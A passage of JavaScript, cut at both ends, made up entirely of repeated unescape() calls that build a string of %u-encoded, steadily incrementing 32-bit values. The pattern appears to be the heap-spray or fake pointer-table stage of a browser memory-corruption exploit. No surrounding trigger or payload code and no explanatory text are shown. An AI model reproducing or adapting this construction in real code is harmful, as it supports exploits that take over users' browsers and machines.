str += unescape("%u0000%u2b00%u0000%u2b04%u0000%u2b08%u0000%u2b0c%u0000%u2b10%u0000%u2b14%u0000%u2b18%u0000%u2b1c%u0000%u2b20%u0000%u2b24%u0000%u2b28%u0000%u2b2c%u0000%u2b30%u0000%u2b34%u0000%u2b38%u0000%u2b3c");
|
||||
str += unescape("%u0000%u2b40%u0000%u2b44%u0000%u2b48%u0000%u2b4c%u0000%u2b50%u0000%u2b54%u0000%u2b58%u0000%u2b5c%u0000%u2b60%u0000%u2b64%u0000%u2b68%u0000%u2b6c%u0000%u2b70%u0000%u2b74%u0000%u2b78%u0000%u2b7c");
|
||||
str += unescape("%u0000%u2b80%u0000%u2b84%u0000%u2b88%u0000%u2b8c%u0000%u2b90%u0000%u2b94%u0000%u2b98%u0000%u2b9c%u0000%u2ba0%u0000%u2ba4%u0000%u2ba8%u0000%u2bac%u0000%u2bb0%u0000%u2bb4%u0000%u2bb8%u0000%u2bbc");
|
||||
str += unescape("%u0000%u2bc0%u0000%u2bc4%u0000%u2bc8%u0000%u2bcc%u0000%u2bd0%u0000%u2bd4%u0000%u2bd8%u0000%u2bdc%u0000%u2be0%u0000%u2be4%u0000%u2be8%u0000%u2bec%u0000%u2bf0%u0000%u2bf4%u0000%u2bf8%u0000%u2bfc");
|
||||
str += unescape("%u0000%u2c00%u0000%u2c04%u0000%u2c08%u0000%u2c0c%u0000%u2c10%u0000%u2c14%u0000%u2c18%u0000%u2c1c%u0000%u2c20%u0000%u2c24%u0000%u2c28%u0000%u2c2c%u0000%u2c30%u0000%u2c34%u0000%u2c38%u0000%u2c3c");
|
||||
str += unescape("%u0000%u2c40%u0000%u2c44%u0000%u2c48%u0000%u2c4c%u0000%u2c50%u0000%u2c54%u0000%u2c58%u0000%u2c5c%u0000%u2c60%u0000%u2c64%u0000%u2c68%u0000%u2c6c%u0000%u2c70%u0000%u2c74%u0000%u2c78%u0000%u2c7c");
|
||||
str += unescape("%u0000%u2c80%u0000%u2c84%u0000%u2c88%u0000%u2c8c%u0000%u2c90%u0000%u2c94%u0000%u2c98%u0000%u2c9c%u0000%u2ca0%u0000%u2ca4%u0000%u2ca8%u0000%u2cac%u0000%u2cb0%u0000%u2cb4%u0000%u2cb8%u0000%u2cbc");
|
||||
str += unescape("%u0000%u2cc0%u0000%u2cc4%u0000%u2cc8%u0000%u2ccc%u0000%u2cd0%u0000%u2cd4%u0000%u2cd8%u0000%u2cdc%u0000%u2ce0%u0000%u2ce4%u0000%u2ce8%u0000%u2cec%u0000%u2cf0%u0000%u2cf4%u0000%u2cf8%u0000%u2cfc");
|
||||
str += unescape("%u0000%u2d00%u0000%u2d04%u0000%u2d08%u0000%u2d0c%u0000%u2d10%u0000%u2d14%u0000%u2d18%u0000%u2d1c%u0000%u2d20%u0000%u2d24%u0000%u2d28%u0000%u2d2c%u0000%u2d30%u0000%u2d34%u0000%u2d38%u0000%u2d3c");
|
||||
str += unescape("%u0000%u2d40%u0000%u2d44%u0000%u2d48%u0000%u2d4c%u0000%u2d50%u0000%u2d54%u0000%u2d58%u0000%u2d5c%u0000%u2d60%u0000%u2d64%u0000%u2d68%u0000%u2d6c%u0000%u2d70%u0000%u2d74%u0000%u2d78%u0000%u2d7c");
|
||||
str += unescape("%u0000%u2d80%u0000%u2d84%u0000%u2d88%u0000%u2d8c%u0000%u2d90%u0000%u2d94%u0000%u2d98%u0000%u2d9c%u0000%u2da0%u0000%u2da4%u0000%u2da8%u0000%u2dac%u0000%u2db0%u0000%u2db4%u0000%u2db8%u0000%u2dbc");
|
||||
str += unescape("%u0000%u2dc0%u0000%u2dc4%u0000%u2dc8%u0000%u2dcc%u0000%u2dd0%u0000%u2dd4%u0000%u2dd8%u0000%u2ddc%u0000%u2de0%u0000%u2de4%u0000%u2de8%u0000%u2dec%u0000%u2df0%u0000%u2df4%u0000%u2df8%u0000%u2dfc");
|
||||
str += unescape("%u0000%u2e00%u0000%u2e04%u0000%u2e08%u0000%u2e0c%u0000%u2e10%u0000%u2e14%u0000%u2e18%u0000%u2e1c%u0000%u2e20%u0000%u2e24%u0000%u2e28%u0000%u2e2c%u0000%u2e30%u0000%u2e34%u0000%u2e38%u0000%u2e3c");
|
||||
str += unescape("%u0000%u2e40%u0000%u2e44%u0000%u2e48%u0000%u2e4c%u0000%u2e50%u0000%u2e54%u0000%u2e58%u0000%u2e5c%u0000%u2e60%u0000%u2e64%u0000%u2e68%u0000%u2e6c%u0000%u2e70%u0000%u2e74%u0000%u2e78%u0000%u2e7c");
|
||||
str += unescape("%u0000%u2e80%u0000%u2e84%u0000%u2e88%u0000%u2e8c%u0000%u2e90%u0000%u2e94%u0000%u2e98%u0000%u2e9c%u0000%u2ea0%u0000%u2ea4%u0000%u2ea8%u0000%u2eac%u0000%u2eb0%u0000%u2eb4%u0000%u2eb8%u0000%u2ebc");
|
||||
str += unescape("%u0000%u2ec0%u0000%u2ec4%u0000%u2ec8%u0000%u2ecc%u0000%u2ed0%u0000%u2ed4%u0000%u2ed8%u0000%u2edc%u0000%u2ee0%u0000%u2ee4%u0000%u2ee8%u0000%u2eec%u0000%u2ef0%u0000%u2ef4%u0000%u2ef8%u0000%u2efc");
|
||||
str += unescape("%u0000%u2f00%u0000%u2f04%u0000%u2f08%u0000%u2f0c%u0000%u2f10%u0000%u2f14%u0000%u2f18%u0000%u2f1c%u0000%u2f20%u0000%u2f24%u0000%u2f28%u0000%u2f2c%u0000%u2f30%u0000%u2f34%u0000%u2f38%u0000%u2f3c");
|
||||
str += unescape("%u0000%u2f40%u0000%u2f44%u0000%u2f48%u0000%u2f4c%u0000%u2f50%u0000%u2f54%u0000%u2f58%u0000%u2f5c%u0000%u2f60%u0000%u2f64%u0000%u2f68%u0000%u2f6c%u0000%u2f70%u0000%u2f74%u0000%u2f78%u0000%u2f7c");
|
||||
str += unescape("%u0000%u2f80%u0000%u2f84%u0000%u2f88%u0000%u2f8c%u0000%u2f90%u0000%u2f94%u0000%u2f98%u0000%u2f9c%u0000%u2fa0%u0000%u2fa4%u0000%u2fa8%u0000%u2fac%u0000%u2fb0%u0000%u2fb4%u0000%u2fb8%u0000%u2fbc");
|
||||
str += unescape("%u0000%u2fc0%u0000%u2fc4%u0000%u2fc8%u0000%u2fcc%u0000%u2fd0%u0000%u2fd4%u0000%u2fd8%u0000%u2fdc%u0000%u2fe0%u0000%u2fe4%u0000%u2fe8%u0000%u2fec%u0000%u2ff0%u0000%u2ff4%u0000%u2ff8%u0000%u2ffc");
|
||||
str += unescape("%u0000%u3000%u0000%u3004%u0000%u3008%u0000%u300c%u0000%u3010%u0000%u3014%u0000%u3018%u0000%u301c%u0000%u3020%u0000%u3024%u0000%u3028%u0000%u302c%u0000%u3030%u0000%u3034%u0000%u3038%u0000%u303c");
|
||||
str += unescape("%u0000%u3040%u0000%u3044%u0000%u3048%u0000%u304c%u0000%u3050%u0000%u3054%u0000%u3058%u0000%u305c%u0000%u3060%u0000%u3064%u0000%u3068%u0000%u306c%u0000%u3070%u0000%u3074%u0000%u3078%u0000%u307c");
|
||||
str += unescape("%u0000%u3080%u0000%u3084%u0000%u3088%u0000%u308c%u0000%u3090%u0000%u3094%u0000%u3098%u0000%u309c%u0000%u30a0%u0000%u30a4%u0000%u30a8%u0000%u30ac%u0000%u30b0%u0000%u30b4%u0000%u30b8%u0000%u30bc");
|
||||
str += unescape("%u0000%u30c0%u0000%u30c4%u0000%u30c8%u0000%u30cc%u0000%u30d0%u0000%u30d4%u0000%u30d8%u0000%u30dc%u0000%u30e0%u0000%u30e4%u0000%u30e8%u0000%u30ec%u0000%u30f0%u0000%u30f4%u0000%u30f8%u0000%u30fc");
|
||||
str += unescape("%u0000%u3100%u0000%u3104%u0000%u3108%u0000%u310c%u0000%u3110%u0000%u3114%u0000%u3118%u0000%u311c%u0000%u3120%u0000%u3124%u0000%u3128%u0000%u312c%u0000%u3130%u0000%u3134%u0000%u3138%u0000%u313c");
|
||||
str += unescape("%u0000%u3140%u0000%u3144%u0000%u3148%u0000%u314c%u0000%u3150%u0000%u3154%u0000%u3158%u0000%u315c%u0000%u3160%u0000%u3164%u0000%u3168%u0000%u316c%u0000%u3170%u0000%u3174%u0000%u3178%u0000%u317c");
|
||||
str += unescape("%u0000%u3180%u0000%u3184%u0000%u3188%u0000%u318c%u0000%u3190%u0000%u3194%u0000%u3198%u0000%u319c%u0000%u31a0%u0000%u31a4%u0000%u31a8%u0000%u31ac%u0000%u31b0%u0000%u31b4%u0000%u31b8%u0000%u31bc");
|
||||
str += unescape("%u0000%u31c0%u0000%u31c4%u0000%u31c8%u0000%u31cc%u0000%u31d0%u0000%u31d4%u0000%u31d8%u0000%u31dc%u0000%u31e0%u0000%u31e4%u0000%u31e8%u0000%u31ec%u0000%u31f0%u0000%u31f4%u0000%u31f8%u0000%u31fc");
|
||||
str += unescape("%u0000%u3200%u0000%u3204%u0000%u3208%u0000%u320c%u0000%u3210%u0000%u3214%u0000%u3218%u0000%u321c%u0000%u3220%u0000%u3224%u0000%u3228%u0000%u322c%u0000%u3230%u0000%u3234%u0000%u3238%u0000%u323c");
|
||||
str += unescape("%u0000%u3240%u0000%u3244%u0000%u3248%u0000%u324c%u0000%u3250%u0000%u3254%u0000%u3258%u0000%u325c%u0000%u3260%u0000%u3264%u0000%u3268%u0000%u326c%u0000%u3270%u0000%u3274%u0000%u3278%u0000%u327c");
|
||||
str += unescape("%u0000%u3280%u0000%u3284%u0000%u3288%u0000%u328c%u0000%u3290%u0000%u3294%u0000%u3298%u0000%u329c%u0000%u32a0%u0000%u32a4%u0000%u32a8%u0000%u32ac%u0000%u32b0%u0000%u32b4%u0000%u32b8%u0000%u32bc");
|
||||
str += unescape("%u0000%u32c0%u0000%u32c4%u0000%u32c8%u0000%u32cc%u0000%u32d0%u0000%u32d4%u0000%u32d8%u0000%u32dc%u0000%u32e0%u0000%u32e4%u0000%u32e8%u0000%u32ec%u0000%u32f0%u0000%u32f4%u0000%u32f8%u0000%u32fc");
|
||||
str += unescape("%u0000%u3300%u0000%u3304%u0000%u3308%u0000%u330c%u0000%u3310%u0000%u3314%u0000%u3318%u0000%u331c%u0000%u3320%u0000%u3324%u0000%u3328%u0000%u332c%u0000%u3330%u0000%u3334%u0000%u3338%u0000%u333c");
|
||||
str += unescape("%u0000%u3340%u0000%u3344%u0000%u3348%u0000%u334c%u0000%u3350%u0000%u3354%u0000%u3358%u0000%u335c%u0000%u3360%u0000%u3364%u0000%u3368%u0000%u336c%u0000%u3370%u0000%u3374%u0000%u3378%u0000%u337c");
|
||||
str += unescape("%u0000%u3380%u0000%u3384%u0000%u3388%u0000%u338c%u0000%u3390%u0000%u3394%u0000%u3398%u0000%u339c%u0000%u33a0%u0000%u33a4%u0000%u33a8%u0000%u33ac%u0000%u33b0%u0000%u33b4%u0000%u33b8%u0000%u33bc");
|
||||
str += unescape("%u0000%u33c0%u0000%u33c4%u0000%u33c8%u0000%u33cc%u0000%u33d0%u0000%u33d4%u0000%u33d8%u0000%u33dc%u0000%u33e0%u0000%u33e4%u0000%u33e8%u0000%u33ec%u0000%u33f0%u0000%u33f4%u0000%u33f8%u0000%u33fc");
|
||||
str += unescape("%u0000%u3400%u0000%u3404%u0000%u3408%u0000%u340c%u0000%u3410%u0000%u3414%u0000%u3418%u0000%u341c%u0000%u3420%u0000%u3424%u0000%u3428%u0000%u342c%u0000%u3430%u0000%u3434%u0000%u3438%u0000%u343c");
|
||||
str += unescape("%u0000%u3440%u0000%u3444%u0000%u3448%u0000%u344c%u0000%u3450%u0000%u3454%u0000%u3458%u0000%u345c%u0000%u3460%u0000%u3464%u0000%u3468%u0000%u346c%u0000%u3470%u0000%u3474%u0000%u3478%u0000%u347c");
|
||||
str += unescape("%u0000%u3480%u0000%u3484%u0000%u3488%u0000%u348c%u0000%u3490%u0000%u3494%u0000%u3498%u0000%u349c%u0000%u34a0%u0000%u34a4%u0000%u34a8%u0000%u34ac%u0000%u34b0%u0000%u34b4%u0000%u34b8%u0000%u34bc");
|
||||
str += unescape("%u0000%u34c0%u0000%u34c4%u0000%u34c8%u0000%u34cc%u0000%u34d0%u0000%u34d4%u0000%u34d8%u0000%u34dc%u0000%u34e0%u0000%u34e4%u0000%u34e8%u0000%u34ec%u0000%u34f0%u0000%u34f4%u0000%u34f8%u0000%u34fc");
|
||||
str += unescape("%u0000%u3500%u0000%u3504%u0000%u3508%u0000%u350c%u0000%u3510%u0000%u3514%u0000%u3518%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c");
|
||||
str += unescape("%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c");
|
||||
str += unescape("%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc");
|
||||
str += unescape("%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc");
|
||||
str += unescape("%u0000%u3600%u0000%u3604%u0000%u3608%u0000%u360c%u0000%u3610%u0000%u3614%u0000%u3618%u0000%u361c%u0000%u3620%u0000%u3624%u0000%u3628%u0000%u362c%u0000%u3630%u0000%u3634%u0000%u3638%u0000%u363c");
|
||||
str += unescape("%u0000%u3640%u0000%u3644%u0000%u3648%u0000%u364c%u0000%u3650%u0000%u3654%u0000%u3658%u0000%u365c%u0000%u3660%u0000%u3664%u0000%u3668%u0000%u366c%u0000%u3670%u0000%u3674%u0000%u3678%u0000%u367c");
|
||||
str += unescape("%u0000%u3680%u0000%u3684%u0000%u3688%u0000%u368c%u0000%u3690%u0000%u3694%u0000%u3698%u0000%u369c%u0000%u36a0%u0000%u36a4%u0000%u36a8%u0000%u36ac%u0000%u36b0%u0000%u36b4%u0000%u36b8%u0000%u36bc");
|
||||
str += unescape("%u0000%u36c0%u0000%u36c4%u0000%u36c8%u0000%u36cc%u0000%u36d0%u0000%u36d4%u0000%u36d8%u0000%u36dc%u0000%u36e0%u0000%u36e4%u0000%u36e8%u0000%u36ec%u0000%u36f0%u0000%u36f4%u0000%u36f8%u0000%u36fc");
|
||||
str += unescape("%u0000%u3700%u0000%u3704%u0000%u3708%u0000%u370c%u0000%u3710%u0000%u3714%u0000%u3718%u0000%u371c%u0000%u3720%u0000%u3724%u0000%u3728%u0000%u372c%u0000%u3730%u0000%u3734%u0000%u3738%u0000%u373c");
|
||||
str += unescape("%u0000%u3740%u0000%u3744%u0000%u3748%u0000%u374c%u0000%u3750%u0000%u3754%u0000%u3758%u0000%u375c%u0000%u3760%u0000%u3764%u0000%u3768%u0000%u376c%u0000%u3770%u0000%u3774%u0000%u3778%u0000%u377c");
|
||||
str += unescape("%u0000%u3780%u0000%u3784%u0000%u3788%u0000%u378c%u0000%u3790%u0000%u3794%u0000%u3798%u0000%u379c%u0000%u37a0%u0000%u37a4%u0000%u37a8%u0000%u37ac%u0000%u37b0%u0000%u37b4%u0000%u37b8%u0000%u37bc");
|
||||
str += unescape("%u0000%u37c0%u0000%u37c4%u0000%u37c8%u0000%u37cc%u0000%u37d0%u0000%u37d4%u0000%u37d8%u0000%u37dc%u0000%u37e0%u0000%u37e4%u0000%u37e8%u0000%u37ec%u0000%u37f0%u0000%u37f4%u0000%u37f8%u0000%u37fc");
|
||||
str += unescape("%u0000%u3800%u0000%u3804%u0000%u3808%u0000%u380c%u0000%u3810%u0000%u3814%u0000%u3818%u0000%u381c%u0000%u3820%u0000%u3824%u0000%u3828%u0000%u382c%u0000%u3830%u0000%u3834%u0000%u3838%u0000%u383c");
|
||||
str += unescape("%u0000%u3840%u0000%u3844%u0000%u3848%u0000%u384c%u0000%u3850%u0000%u3854%u0000%u3858%u0000%u385c%u0000%u3860%u0000%u3864%u0000%u3868%u0000%u386c%u0000%u3870%u0000%u3874%u0000%u3878%u0000%u387c");
|
||||
str += unescape("%u0000%u3880%u0000%u3884%u0000%u3888%u0000%u388c%u0000%u3890%u0000%u3894%u0000%u3898%u0000%u389c%u0000%u38a0%u0000%u38a4%u0000%u38a8%u0000%u38ac%u0000%u38b0%u0000%u38b4%u0000%u38b8%u0000%u38bc");
|
||||
str += unescape("%u0000%u38c0%u0000%u38c4%u0000%u38c8%u0000%u38cc%u0000%u38d0%u0000%u38d4%u0000%u38d8%u0000%u38dc%u0000%u38e0%u0000%u38e4%u0000%u38e8%u0000%u38ec%u0000%u38f0%u0000%u38f4%u0000%u38f8%u0000%u38fc");
|
||||
str += unescape("%u0000%u3900%u0000%u3904%u0000%u3908%u0000%u390c%u0000%u3910%u0000%u3914%u0000%u3918%u0000%u391c%u0000%u3920%u0000%u3924%u0000%u3928%u0000%u392c%u0000%u3930%u0000%u3934%u0000%u3938%u0000%u393c");
|
||||
str += unescape("%u0000%u3940%u0000%u3944%u0000%u3948%u0000%u394c%u0000%u3950%u0000%u3954%u0000%u3958%u0000%u395c%u0000%u3960%u0000%u3964%u0000%u3968%u0000%u396c%u0000%u3970%u0000%u3974%u0000%u3978%u0000%u397c");
|
||||
str += unescape("%u0000%u3980%u0000%u3984%u0000%u3988%u0000%u398c%u0000%u3990%u0000%u3994%u0000%u3998%u0000%u399c%u0000%u39a0%u0000%u39a4%u0000%u39a8%u0000%u39ac%u0000%u39b0%u0000%u39b4%u0000%u39b8%u0000%u39bc");
|
||||
str += unescape("%u0000%u39c0%u0000%u39c4%u0000%u39c8%u0000%u39cc%u0000%u39d0%u0000%u39d4%u0000%u39d8%u0000%u39dc%u0000%u39e0%u0000%u39e4%u0000%u39e8%u0000%u39ec%u0000%u39f0%u0000%u39f4%u0000%u39f8%u0000%u39fc");
|
||||
str += unescape("%u0000%u3a00%u0000%u3a04%u0000%u3a08%u0000%u3a0c%u0000%u3a10%u0000%u3a14%u0000%u3a18%u0000%u3a1c%u0000%u3a20%u0000%u3a24%u0000%u3a28%u0000%u3a2c%u0000%u3a30%u0000%u3a34%u0000%u3a38%u0000%u3a3c");
|
||||
str += unescape("%u0000%u3a40%u0000%u3a44%u0000%u3a48%u0000%u3a4c%u0000%u3a50%u0000%u3a54%u0000%u3a58%u0000%u3a5c%u0000%u3a60%u0000%u3a64%u0000%u3a68%u0000%u3a6c%u0000%u3a70%u0000%u3a74%u0000%u3a78%u0000%u3a7c");
|
||||
str += unescape("%u0000%u3a80%u0000%u3a84%u0000%u3a88%u0000%u3a8c%u0000%u3a90%u0000%u3a94%u0000%u3a98%u0000%u3a9c%u0000%u3aa0%u0000%u3aa4%u0000%u3aa8%u0000%u3aac%u0000%u3ab0%u0000%u3ab4%u0000%u3ab8%u0000%u3abc");
|
||||
str += unescape("%u0000%u3ac0%u0000%u3ac4%u0000%u3ac8%u0000%u3acc%u0000%u3ad0%u0000%u3ad4%u0000%u3ad8%u0000%u3adc%u0000%u3ae0%u0000%u3ae4%u0000%u3ae8%u0000%u3aec%u0000%u3af0%u0000%u3af4%u0000%u3af8%u0000%u3afc");
|
||||
str += unescape("%u0000%u3b00%u0000%u3b04%u0000%u3b08%u0000%u3b0c%u0000%u3b10%u0000%u3b14%u0000%u3b18%u0000%u3b1c%u0000%u3b20%u0000%u3b24%u0000%u3b28%u0000%u3b2c%u0000%u3b30%u0000%u3b34%u0000%u3b38%u0000%u3b3c");
|
||||
str += unescape("%u0000%u3b40%u0000%u3b44%u0000%u3b48%u0000%u3b4c%u0000%u3b50%u0000%u3b54%u0000%u3b58%u0000%u3b5c%u0000%u3b60%u0000%u3b64%u0000%u3b68%u0000%u3b6c%u0000%u3b70%u0000%u3b74%u0000%u3b78%u0000%u3b7c");
|
||||
str += unescape("%u0000%u3b80%u0000%u3b84%u0000%u3b88%u0000%u3b8c%u0000%u3b90%u0000%u3b94%u0000%u3b98%u0000%u3b9c%u0000%u3ba0%u0000%u3ba4%u0000%u3ba8%u0000%u3bac%u0000%u3bb0%u0000%u3bb4%u0000%u3bb8%u0000%u3bbc");
|
||||
str += unescape("%u0000%u3bc0%u0000%u3bc4%u0000%u3bc8%u0000%u3bcc%u0000%u3bd0%u0000%u3bd4%u0000%u3bd8%u0000%u3bdc%u0000%u3be0%u0000%u3be4%u0000%u3be8%u0000%u3bec%u0000%u3bf0%u0000%u3bf4%u0000%u3bf8%u0000%u3bfc");
|
||||
str += unescape("%u0000%u3c00%u0000%u3c04%u0000%u3c08%u0000%u3c0c%u0000%u3c10%u0000%u3c14%u0000%u3c18%u0000%u3c1c%u0000%u3c20%u0000%u3c24%u0000%u3c28%u0000%u3c2c%u0000%u3c30%u0000%u3c34%u0000%u3c38%u0000%u3c3c");
|
||||
str += unescape("%u0000%u3c40%u0000%u3c44%u0000%u3c48%u0000%u3c4c%u0000%u3c50%u0000%u3c54%u0000%u3c58%u0000%u3c5c%u0000%u3c60%u0000%u3c64%u0000%u3c68%u0000%u3c6c%u0000%u3c70%u0000%u3c74%u0000%u3c78%u0000%u3c7c");
|
||||
str += unescape("%u0000%u3c80%u0000%u3c84%u0000%u3c88%u0000%u3c8c%u0000%u3c90%u0000%u3c94%u0000%u3c98%u0000%u3c9c%u0000%u3ca0%u0000%u3ca4%u0000%u3ca8%u0000%u3cac%u0000%u3cb0%u0000%u3cb4%u0000%u3cb8%u0000%u3cbc");
|
||||
str += unescape("%u0000%u3cc0%u0000%u3cc4%u0000%u3cc8%u0000%u3ccc%u0000%u3cd0%u0000%u3cd4%u0000%u3cd8%u0000%u3cdc%u0000%u3ce0%u0000%u3ce4%u0000%u3ce8%u0000%u3cec%u0000%u3cf0%u0000%u3cf4%u0000%u3cf8%u0000%u3cfc");
|
||||
str += unescape("%u0000%u3d00%u0000%u3d04%u0000%u3d08%u0000%u3d0c%u0000%u3d10%u0000%u3d14%u0000%u3d18%u0000%u3d1c%u0000%u3d20%u0000%u3d24%u0000%u3d28%u0000%u3d2c%u0000%u3d30%u0000%u3d34%u0000%u3d38%u0000%u3d3c");
|
||||
str += unescape("%u0000%u3d40%u0000%u3d44%u0000%u3d48%u0000%u3d4c%u0000%u3d50%u0000%u3d54%u0000%u3d58%u0000%u3d5c%u0000%u3d60%u0000%u3d64%u0000%u3d68%u0000%u3d6c%u0000%u3d70%u0000%u3d74%u0000%u3d78%u0000%u3d7c");
|
||||
str += unescape("%u0000%u3d80%u0000%u3d84%u0000%u3d88%u0000%u3d8c%u0000%u3d90%u0000%u3d94%u0000%u3d98%u0000%u3d9c%u0000%u3da0%u0000%u3da4%u0000%u3da8%u0000%u3dac%u0000%u3db0%u0000%u3db4%u0000%u3db8%u0000%u3dbc");
|
||||
str += unescape("%u0000%u3dc0%u0000%u3dc4%u0000%u3dc8%u0000%u3dcc%u0000%u3dd0%u0000%u3dd4%u0000%u3dd8%u0000%u3ddc%u0000%u3de0%u0000%u3de4%u0000%u3de8%u0000%u3dec%u0000%u3df0%u0000%u3df4%u0000%u3df8%u0000%u3dfc");
|
||||
str += unescape("%u0000%u3e00%u0000%u3e04%u0000%u3e08%u0000%u3e0c%u0000%u3e10%u0000%u3e14%u0000%u3e18%u0000%u3e1c%u0000%u3e20%u0000%u3e24%u0000%u3e28%u0000%u3e2c%u0000%u3e30%u0000%u3e34%u0000%u3e38%u0000%u3e3c");
|
||||
str += unescape("%u0000%u3e40%u0000%u3e44%u0000%u3e48%u0000%u3e4c%u0000%u3e50%u0000%u3e54%u0000%u3e58%u0000%u3e5c%u0000%u3e60%u0000%u3e64%u0000%u3e68%u0000%u3e6c%u0000%u3e70%u0000%u3e74%u0000%u3e78%u0000%u3e7c");
|
||||
str += unescape("%u0000%u3e80%u0000%u3e84%u0000%u3e88%u0000%u3e8c%u0000%u3e90%u0000%u3e94%u0000%u3e98%u0000%u3e9c%u0000%u3ea0%u0000%u3ea4%u0000%u3ea8%u0000%u3eac%u0000%u3eb0%u0000%u3eb4%u0000%u3eb8%u0000%u3ebc");
|
||||
str += unescape("%u0000%u3ec0%u0000%u3ec4%u0000%u3ec8%u0000%u3ecc%u0000%u3ed0%u0000%u3ed4%u0000%u3ed8%u0000%u3edc%u0000%u3ee0%u0000%u3ee4%u0000%u3ee8%u0000%u3eec%u0000%u3ef0%u0000%u3ef4%u0000%u3ef8%u0000%u3efc");
|
||||
str += unescape("%u0000%u3f00%u0000%u3f04%u0000%u3f08%u0000%u3f0c%u0000%u3f10%u0000%u3f14%u0000%u3f18%u0000%u3f1c%u0000%u3f20%u0000%u3f24%u0000%u3f28%u0000%u3f2c%u0000%u3f30%u0000%u3f34%u0000%u3f38%u0000%u3f3c");
|
||||
str += unescape("%u0000%u3f40%u0000%u3f44%u0000%u3f48%u0000%u3f4c%u0000%u3f50%u0000%u3f54%u0000%u3f58%u0000%u3f5c%u0000%u3f60%u0000%u3f64%u0000%u3f68%u0000%u3f6c%u0000%u3f70%u0000%u3f74%u0000%u3f78%u0000%u3f7c");
|
||||
str += unescape("%u0000%u3f80%u0000%u3f84%u0000%u3f88%u0000%u3f8c%u0000%u3f90%u0000%u3f94%u0000%u3f98%u0000%u3f9c%u0000%u3fa0%u0000%u3fa4%u0000%u3fa8%u0000%u3fac%u0000%u3fb0%u0000%u3fb4%u0000%u3fb8%u0000%u3fbc");
|
||||
str += unescape("%u0000%u3fc0%u0000%u3fc4%u0000%u3fc8%u0000%u3fcc%u0000%u3fd0%u0000%u3fd4%u0000%u3fd8%u0000%u3fdc%u0000%u3fe0%u0000%u3fe4%u0000%u3fe8%u0000%u3fec%u0000%u3ff0%u0000%u3ff4%u0000%u3ff8%u0000%u3ffc");
|
||||
str += unescape("%u0000%u4000%u0000%u4004%u0000%u4008%u0000%u400c%u0000%u4010%u0000%u4014%u0000%u4018%u0000%u401c%u0000%u4020%u0000%u4024%u0000%u4028%u0000%u402c%u0000%u4030%u0000%u4034%u0000%u4038%u0000%u403c");
|
||||
str += unescape("%u0000%u4040%u0000%u4044%u0000%u4048%u0000%u404c%u0000%u4050%u0000%u4054%u0000%u4058%u0000%u405c%u0000%u4060%u0000%u4064%u0000%u4068%u0000%u406c%u0000%u4070%u0000%u4074%u0000%u4078%u0000%u407c");
|
||||
str += unescape("%u0000%u4080%u0000%u4084%u0000%u4088%u0000%u408c%u0000%u4090%u0000%u4094%u0000%u4098%u0000%u409c%u0000%u40a0%u0000%u40a4%u0000%u40a8%u0000%u40ac%u0000%u40b0%u0000%u40b4%u0000%u40b8%u0000%u40bc");
|
||||
str += unescape("%u0000%u40c0%u0000%u40c4%u0000%u40c8%u0000%u40cc%u0000%u40d0%u0000%u40d4%u0000%u40d8%u0000%u40dc%u0000%u40e0%u0000%u40e4%u0000%u40e8%u0000%u40ec%u0000%u40f0%u0000%u40f4%u0000%u40f8%u0000%u40fc");
|
||||
str += unescape("%u0000%u4100%u0000%u4104%u0000%u4108%u0000%u410c%u0000%u4110%u0000%u4114%u0000%u4118%u0000%u411c%u0000%u4120%u0000%u4124%u0000%u4128%u0000%u412c%u0000%u4130%u0000%u4134%u0000%u4138%u0000%u413c");
|
||||
str += unescape("%u0000%u4140%u0000%u4144%u0000%u4148%u0000%u414c%u0000%u4150%u0000%u4154%u0000%u4158%u0000%u415c%u0000%u4160%u0000%u4164%u0000%u4168%u0000%u416c%u0000%u4170%u0000%u4174%u0000%u4178%u0000%u417c");
|
||||
str += unescape("%u0000%u4180%u0000%u4184%u0000%u4188%u0000%u418c%u0000%u4190%u0000%u4194%u0000%u4198%u0000%u419c%u0000%u41a0%u0000%u41a4%u0000%u41a8%u0000%u41ac%u0000%u41b0%u0000%u41b4%u0000%u41b8%u0000%u41bc");
|
||||
str += unescape("%u0000%u41c0%u0000%u41c4%u0000%u41c8%u0000%u41cc%u0000%u41d0%u0000%u41d4%u0000%u41d8%u0000%u41dc%u0000%u41e0%u0000%u41e4%u0000%u41e8%u0000%u41ec%u0000%u41f0%u0000%u41f4%u0000%u41f8%u0000%u41fc");
|
||||
str += unescape("%u0000%u4200%u0000%u4204%u0000%u4208%u0000%u420c%u0000%u4210%u0000%u4214%u0000%u4218%u0000%u421c%u0000%u4220%u0000%u4224%u0000%u4228%u0000%u422c%u0000%u4230%u0000%u4234%u0000%u4238%u0000%u423c");
|
||||
str += unescape("%u0000%u4240%u0000%u4244%u0000%u4248%u0000%u424c%u0000%u4250%u0000%u4254%u0000%u4258%u0000%u425c%u0000%u4260%u0000%u4264%u0000%u4268%u0000%u426c%u0000%u4270%u0000%u4274%u0000%u4278%u0000%u427c");
|
||||
str += unescape("%u0000%u4280%u0000%u4284%u0000%u4288%u0000%u428c%u0000%u4290%u0000%u4294%u0000%u4298%u0000%u429c%u0000%u42a0%u0000%u42a4%u0000%u42a8%u0000%u42ac%u0000%u42b0%u0000%u42b4%u0000%u42b8%u0000%u42bc");
|
||||
str += unescape("%u0000%u42c0%u0000%u42c4%u0000%u42c8%u0000%u42cc%u0000%u42d0%u0000%u42d4%u0000%u42d8%u0000%u42dc%u0000%u42e0%u0000%u42e4%u0000%u42e8%u0000%u42ec%u0000%u42f0%u0000%u42f4%u0000%u42f8%u0000%u42fc");
|
||||
str += unescape("%u0000%u4300%u0000%u4304%u0000%u4308%u0000%u430c%u0000%u4310%u0000%u4314%u0000%u4318%u0000%u431c%u0000%u4320%u0000%u4324%u0000%u4328%u0000%u432c%u0000%u4330%u0000%u4334%u0000%u4338%u0000%u433c");
